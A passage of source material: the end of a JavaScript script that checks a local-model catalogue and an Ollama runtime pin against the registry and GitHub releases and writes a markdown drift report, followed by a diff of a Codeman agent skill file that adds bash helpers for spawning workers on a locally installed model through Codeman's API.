return `${id}: the registry no longer has this tag, so the download fails. Replace or remove the row.`;
case 'runner':
return (
`${id}: a Mac now pulls the ${buildName(model.observed.mac)} build, which runs on ` +
`\`${finding.actual}\`, while the row's \`runner\` says \`${displayName(finding.expected, ['mlx', 'llamacpp'])}\`. ` +
'The two runners spend memory differently, so the row\'s memory figures no longer describe what runs: ' +
'recompute them for the new runner, or pin the row to a single-build tag.'
);
case 'size':
return (
`${id}: a Mac downloads the ${buildName(model.observed.mac)} build, ${groupDigits(finding.actual)} bytes, ` +
`${formatPercent(finding.fraction)} against the row's \`bytes\` of ${groupDigits(finding.expected)}. ` +
'The memory fit reads `bytes`, so correct it (and re-measure if the build changed).'
);
case 'digest':
return `${id}: the row pins \`${finding.expected}\`, a Mac now pulls \`${finding.actual}\`. The tag was pushed again.`;
case 'requires':
return (
`${id}: the build a Mac pulls declares \`requires: ${finding.requires}\`, newer than the pinned runtime ` +
`${finding.pinned}, which refuses to pull it.`
);
default:
return `${id}: ${finding.kind}`;
}
}
function describeRuntimeFinding(finding) {
switch (finding.kind) {
case 'behind':
return (
`Ollama ${finding.latest} is out; the pin is ${finding.pinned}. Read its release notes, then move ` +
'`OLLAMA_RUNTIME_PIN` (version, URL, size, sha256) and test an install on a Mac.'
);
case 'pinned-release-gone':
return 'The release of the pinned version is gone from GitHub: every new install fails at the runtime step.';
case 'pinned-asset-gone':
return 'The pinned release no longer carries the pinned archive: every new install fails at the runtime step.';
case 'pinned-asset-changed':
return (
`The pinned archive changed on GitHub (now ${finding.size === undefined ? 'no size' : `${groupDigits(finding.size)} bytes`}` +
`${finding.digest ? `, \`${finding.digest}\`` : ''}). Installs refuse it at the hash compare. Find out why before moving the pin.`
);
default:
return finding.kind;
}
}
function assetCell(asset) {
if (!asset) return 'none';
return `${groupDigits(asset.size)} bytes${asset.digest ? `, \`${asset.digest}\`` : ', no digest in the API'}`;
}
/** The markdown report of one run. Pure: everything in it was validated by the IO side. */
export function renderReport(result) {
const lines = [];
const code = exitCodeFor(result);
const driftModels = result.models.filter((model) => !model.error && model.findings.length > 0).length;
const runtimeDrift = result.runtime && !result.runtime.error ? result.runtime.findings.length > 0 : false;
lines.push('# Local model catalogue: weekly check', '');
lines.push(
`Run ${result.checkedAt}. Catalogue of ${result.catalogue.updated} (${result.models.length} models), ` +
`runtime pin Ollama ${result.pin.version}.`,
''
);
if (code === 2) {
lines.push('**The check failed**: the results below are incomplete. Nothing should act on them.', '');
} else if (code === 1) {
const parts = [];
if (driftModels > 0) parts.push(`${driftModels} of ${result.models.length} models`);
if (runtimeDrift) parts.push('the runtime pin');
lines.push(`**Drift found**: ${parts.join(' and ')}.`, '');
} else {
lines.push('**Clean**: every row matches what a Mac downloads today, and the runtime pin is current.', '');
}
for (const error of result.errors) lines.push(`- Check failed: ${oneLine(error)}`);
if (result.errors.length > 0) lines.push('');
lines.push('## Models', '');
lines.push(
'What a Mac downloads is the build Ollama on Apple silicon selects: the `mlx` build when the tag offers ' +
'one, else `llamacpp`, else `ggml`. Its size is the pull total, every layer plus the config. ' +
`Tolerance: ${(SIZE_TOLERANCE_FRACTION * 100).toFixed(1)}% of the row's \`bytes\`.`,
''
);
lines.push('| Model | Row `bytes` | A Mac downloads | Difference | Build on a Mac | Requires | Result |');
lines.push('| --- | ---: | ---: | ---: | --- | --- | --- |');
for (const model of result.models) {
const mac = model.observed?.mac;
const cells = [
`\`${model.id}\``,
groupDigits(model.bytes),
mac ? groupDigits(mac.bytes) : '',
mac ? formatPercent(sizeDifference(model.bytes, mac.bytes)) : '',
mac ? buildName(mac) : model.observed?.gone ? 'tag gone' : '',
mac?.requires ? `Ollama ${mac.requires}` : '',
modelResult(model),
];
lines.push(`| ${cells.join(' | ')} |`);
}
lines.push('');
const details = [];
for (const model of result.models) {
if (model.error) details.push(`- \`${model.id}\`: check failed: ${oneLine(model.error)}`);
for (const finding of model.findings) details.push(`- ${describeModelFinding(model, finding)}`);
const variants = model.observed?.variants ?? [];
if (model.findings.some((finding) => finding.kind === 'size' || finding.kind === 'runner') && variants.length > 1) {
const offered = variants
.map((variant) => `${buildName(variant)} ${groupDigits(variant.bytes)}${variant === model.observed.mac ? ' (a Mac takes this one)' : ''}`)
.join('; ');
details.push(` The tag offers: ${offered}.`);
}
}
if (details.length > 0) lines.push('### What changed', '', ...details, '');
lines.push('## Runtime', '');
if (!result.runtime || result.runtime.error) {
lines.push(`Check failed: ${oneLine(result.runtime?.error ?? 'not run')}`, '');
} else {
const { latest, pinned } = result.runtime.observed;
const archive = result.runtime.assetName;
lines.push(`| | Version | Published | \`${archive}\` |`);
lines.push('| --- | --- | --- | --- |');
lines.push(
`| Pinned | ${result.pin.version} | ${pinned.publishedOn ?? ''} | ` +
`${pinned.gone ? 'release gone' : assetCell(pinned.asset)} |`
);
lines.push(`| Newest release | ${latest.version} | ${latest.publishedOn ?? ''} | ${assetCell(latest.asset)} |`);
lines.push('');
if (result.runtime.findings.length === 0) {
lines.push('The pin is the newest release, and its archive still matches the pin.', '');
} else {
for (const finding of result.runtime.findings) lines.push(`- ${describeRuntimeFinding(finding)}`);
lines.push('');
}
lines.push(
`Release notes: https://github.com/${RUNTIME_REPO}/releases/tag/v${latest.version}. ` +
'A digest from the API is a lead, not a pin: check it against the release\'s `sha256sum.txt` first.',
''
);
}
const unpinned = result.models.filter((model) => model.digest === undefined && model.observed?.mac);
if (unpinned.length > 0) {
lines.push('## Digests to pin', '');
lines.push(
'The catalogue pins no digest for these rows, so a build pushed again at about the same size goes unnoticed. ' +
'Today\'s values: the tag\'s own manifest, and the manifest a Mac pulls. The one to pin is the second, the ' +
'digest `/api/tags` reports after the pull, as the row field `digest` (which the catalogue schema must ' +
'gain first).',
''
);
const measured = unpinned.filter((model) => model.figures === 'measured');
if (measured.length > 0) {
const ids = measured.map((model) => `\`${model.id}\``).join(', ');
lines.push(
`Pin first: ${ids}. Its memory figures were measured on one build, and without a digest nothing here ` +
'tells that build from a rebuild of about the same size.',
''
);
}
lines.push('| Model | Build a Mac pulls | Tag manifest | Manifest a Mac pulls |');
lines.push('| --- | --- | --- | --- |');
for (const model of unpinned) {
lines.push(
`| \`${model.id}\` | ${buildName(model.observed.mac)} | \`${model.observed.tagDigest}\` | ` +
`\`${model.observed.mac.digest}\` |`
);
}
lines.push('');
}
lines.push('## Not checked', '');
lines.push(
'The memory figures, the speeds and whether a coding agent works with a model: no manifest says anything ' +
'about those. They change only when somebody measures on a Mac.',
''
);
return `${lines.join('\n')}\n`;
}
// ---------- IO, with an injected fetch ----------
/**
* One GET, bounded: `REQUEST_TIMEOUT_MS` for the whole exchange and `maxBytes` for the body.
* Answers `{ status, body }` (body only for a 2xx). Never retries.
*/
export async function boundedGet(fetchFn, url, { headers = {}, maxBytes }) {
const signal = AbortSignal.timeout(REQUEST_TIMEOUT_MS);
let res;
try {
res = await fetchFn(url, { headers: { 'User-Agent': USER_AGENT, ...headers }, redirect: 'follow', signal });
} catch (err) {
throw new CheckFailure(`GET ${url} failed: ${describeError(err)}`);
}
if (res.status < 200 || res.status >= 300) {
await res.body?.cancel().catch(() => {});
return { status: res.status };
}
const declared = Number(res.headers.get('content-length'));
if (Number.isFinite(declared) && declared > maxBytes) {
await res.body?.cancel().catch(() => {});
throw new CheckFailure(`GET ${url}: ${declared} bytes is over the cap of ${maxBytes}`);
}
const chunks = [];
let total = 0;
try {
if (res.body) {
const reader = res.body.getReader();
for (;;) {
const { done, value } = await reader.read();
if (done) break;
total += value.byteLength;
if (total > maxBytes) {
await reader.cancel().catch(() => {});
throw new CheckFailure(`GET ${url}: the body is over the cap of ${maxBytes} bytes`);
}
chunks.push(value);
}
}
} catch (err) {
if (err instanceof CheckFailure) throw err;
throw new CheckFailure(`GET ${url}: reading the body failed: ${describeError(err)}`);
}
return { status: res.status, body: Buffer.concat(chunks) };
}
function describeError(err) {
if (err instanceof Error) {
const cause = err.cause instanceof Error && err.cause.message ? `: ${err.cause.message}` : '';
return `${err.name === 'TimeoutError' ? 'timed out' : err.message}${cause}`;
}
return String(err);
}
function parseJson(body, what) {
try {
return JSON.parse(body.toString('utf8'));
} catch {
throw new CheckFailure(`${what} is not JSON`);
}
}
/** A blob of the repository, checked against its digest. */
async function getBlob(fetchFn, name, digest, maxBytes, what) {
const url = `${REGISTRY_BASE}/v2/library/${encodeURIComponent(name)}/blobs/${digest}`;
const answer = await boundedGet(fetchFn, url, { maxBytes });
if (!answer.body) throw new CheckFailure(`${what} ${digest}: the registry answered ${answer.status}`);
if (sha256Digest(answer.body) !== digest) throw new CheckFailure(`${what} ${digest}: the body does not match its digest`);
return answer.body;
}
/** One build of a tag: its runner, format, digest and pull total, all validated. */
function variantOf(manifest, digest, fallback = {}) {
return {
runner: canonicalRunner(manifest.runner) || canonicalRunner(fallback.runner),
format: canonicalRunner(manifest.format) || canonicalRunner(fallback.format),
digest,
bytes: pullTotalBytes(manifest),
configDigest: normalizeDigest(manifest.config?.digest),
};
}
/**
* What the registry serves for `id` today, read the way Ollama on a Mac reads it:
* `{ gone: true }`, or `{ tagDigest, variants, mac }` where `mac` is the variant a Mac pulls
* (with its config's `requires`). Throws `CheckFailure` when the answer is not usable.
*/
export async function inspectModel(fetchFn, id) {
const { name, tag } = splitModelId(id);
const url = `${REGISTRY_BASE}/v2/library/${encodeURIComponent(name)}/manifests/${encodeURIComponent(tag)}`;
const answer = await boundedGet(fetchFn, url, { headers: { Accept: MANIFEST_ACCEPT }, maxBytes: MAX_MANIFEST_BYTES });
if (answer.status === 404) return { gone: true };
if (!answer.body) throw new CheckFailure(`the registry answered ${answer.status} for the manifest`);
const tagDigest = sha256Digest(answer.body);
const manifest = parseJson(answer.body, 'the manifest');
let variants;
let mac;
if (manifest.mediaType === MEDIA_TYPE_MANIFEST_LIST) {
const children = Array.isArray(manifest.manifests) ? manifest.manifests : [];
if (children.length === 0 || children.length > MAX_LIST_CHILDREN) {
throw new CheckFailure(`the manifest list has ${children.length} children`);
}
const selected = selectMacChild(children);
if (!selected) throw new CheckFailure('the manifest list has no build a Mac runs (mlx, llamacpp or ggml)');
variants = [];
for (const child of children) {
const digest = normalizeDigest(child?.digest);
if (!digest || !child.digest.startsWith('sha256:')) throw new CheckFailure('a child of the manifest list has no sha256 digest');
const body = await getBlob(fetchFn, name, digest, MAX_MANIFEST_BYTES, 'child manifest');
const variant = variantOf(parseJson(body, `child manifest ${digest}`), digest, child);
variants.push(variant);
if (child === selected) mac = variant;
}
} else if (manifest.mediaType === MEDIA_TYPE_MANIFEST || manifest.mediaType === undefined) {
mac = variantOf(manifest, tagDigest);
variants = [mac];
} else {
throw new CheckFailure('the manifest has a media type this check does not know');
}
if (!mac.configDigest) throw new CheckFailure('the build a Mac pulls has no config digest');
const config = parseJson(await getBlob(fetchFn, name, mac.configDigest, MAX_CONFIG_BYTES, 'config'), 'the config');
// A manifest that names no runner or format gets them from its config, as Ollama fills them.
const assumed = metadataForConfig(config);
mac.runner ||= assumed.runner;
mac.format ||= assumed.format;
// A malformed `requires` is ignored, as Ollama ignores it (`checkPullRequires`).
const requires = parseVersion(config?.requires);
mac.requires = requires ? requires.join('.') : undefined;
return { tagDigest, variants, mac };
}
function githubHeaders(token) {
return {
Accept: 'application/vnd.github+json',
'X-GitHub-Api-Version': '2022-11-28',
...(token ? { Authorization: `Bearer ${token}` } : {}),
};
}
/** The validated parts of a GitHub release: version, day it was published, the named asset. */
function releaseFacts(release, assetName) {
if (!release || typeof release.tag_name !== 'string' || !RELEASE_TAG_PATTERN.test(release.tag_name)) {
throw new CheckFailure('the release has no vX.Y.Z tag');
}
const day = typeof release.published_at === 'string' ? ISO_DAY_PATTERN.exec(release.published_at) : null;
const raw = Array.isArray(release.assets) ? release.assets.find((asset) => asset?.name === assetName) : undefined;
let asset;
if (raw) {
if (!isSize(raw.size)) throw new CheckFailure(`the release asset ${assetName} has no size`);
asset = { size: raw.size, digest: normalizeDigest(raw.digest) };
}
return { version: release.tag_name.slice(1), publishedOn: day ? day[1] : undefined, asset };
}
/** The newest release and the pinned one, from the GitHub API. Throws `CheckFailure`. */
export async function inspectRuntime(fetchFn, pin, token) {
const assetName = new URL(pin.url).pathname.split('/').pop();
const headers = githubHeaders(token);
const latestAnswer = await boundedGet(fetchFn, `${GITHUB_API_BASE}/repos/${RUNTIME_REPO}/releases/latest`, {
headers,
maxBytes: MAX_GITHUB_BYTES,
});
if (!latestAnswer.body) throw new CheckFailure(`GitHub answered ${latestAnswer.status} for the newest release`);
const latest = releaseFacts(parseJson(latestAnswer.body, 'the newest release'), assetName);
const pinnedAnswer = await boundedGet(
fetchFn,
`${GITHUB_API_BASE}/repos/${RUNTIME_REPO}/releases/tags/v${encodeURIComponent(pin.version)}`,
{ headers, maxBytes: MAX_GITHUB_BYTES }
);
let pinned;
if (pinnedAnswer.status === 404) pinned = { gone: true };
else if (!pinnedAnswer.body) throw new CheckFailure(`GitHub answered ${pinnedAnswer.status} for the pinned release`);
else pinned = releaseFacts(parseJson(pinnedAnswer.body, 'the pinned release'), assetName);
return { assetName, observed: { latest, pinned } };
}
/**
* The whole check. `catalog` is the validated catalogue, `pin` the runtime pin, `fetchFn` the
* fetch to use. Never throws for a network problem: each failure lands in the result, and
* `exitCodeFor()` turns it into 2.
*/
export async function runCheck({ catalog, pin, fetchFn, now, githubToken }) {
const result = {
checkedAt: `${now.toISOString().slice(0, 16).replace('T', ' ')} UTC`,
catalogue: { updated: catalog.updated },
pin: { version: pin.version },
models: [],
runtime: undefined,
errors: [],
};
// Rows in parallel, each row's requests one after another: a handful of rows, a few requests each.
result.models = await Promise.all(
catalog.models.map(async (row) => {
// `digest` is not in the catalogue schema yet: see the file header. `runner` is in the
// schema from the catalogue that names each row's runner on; before that it is absent.
const digest = /** @type {{ digest?: unknown }} */ (row).digest;
const runner = /** @type {{ runner?: unknown }} */ (row).runner;
const entry = { id: row.id, bytes: row.bytes, figures: row.figures, digest, findings: [] };
try {
entry.observed = await inspectModel(fetchFn, row.id);
entry.findings = classifyModel({ id: row.id, bytes: row.bytes, runner, digest }, entry.observed, pin.version);
} catch (err) {
entry.error = err instanceof CheckFailure ? err.message : describeError(err);
}
return entry;
})
);
try {
const runtime = await inspectRuntime(fetchFn, pin, githubToken);
result.runtime = { ...runtime, findings: classifyRuntime(pin, runtime.observed) };
} catch (err) {
result.runtime = { error: err instanceof CheckFailure ? err.message : describeError(err), findings: [] };
}
return result;
}
// ---------- Main ----------
async function main() {
let catalog;
let pin;
try {
const { getLocalModelCatalog } = await import('../src/config/local-model-catalog.js');
const { OLLAMA_RUNTIME_PIN } = await import('../src/local-model/runtime.js');
catalog = getLocalModelCatalog();
pin = OLLAMA_RUNTIME_PIN;
} catch (err) {
console.error(`The catalogue or the runtime pin could not be loaded: ${describeError(err)}`);
process.exitCode = 2;
return;
}
const result = await runCheck({
catalog,
pin,
fetchFn: globalThis.fetch,
now: new Date(),
githubToken: process.env.GITHUB_TOKEN || undefined,
});
process.stdout.write(renderReport(result));
process.exitCode = exitCodeFor(result);
}
if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
main().catch((err) => {
console.error(`The check failed: ${describeError(err)}`);
process.exitCode = 2;
});
}
+318 -24
View File
@@ -7,7 +7,8 @@ description: >-
CLI, send them prompts, block until they finish (wait / wait-output / send-and-wait),
read their output, and clean up; where available, message claude workers directly
(Claude Code cross-session messaging). Use when asked to orchestrate or parallelize
work across Codeman sessions, get a second opinion from another CLI or model, watch
work across Codeman sessions, get a second opinion from another CLI or model, hand
work to the local model Codeman installed on this Mac ("use the local model"), watch
another session, start and manage workers, or retrieve saved local Codex history
by file/native ID or root and descendants with topic/date filters. Live API
operations require a Codeman-managed session (CODEMAN_MUX=1). Offline history
@@ -106,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -134,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.44.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -186,11 +187,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -250,21 +255,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -272,21 +382,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -332,10 +457,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -369,7 +494,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
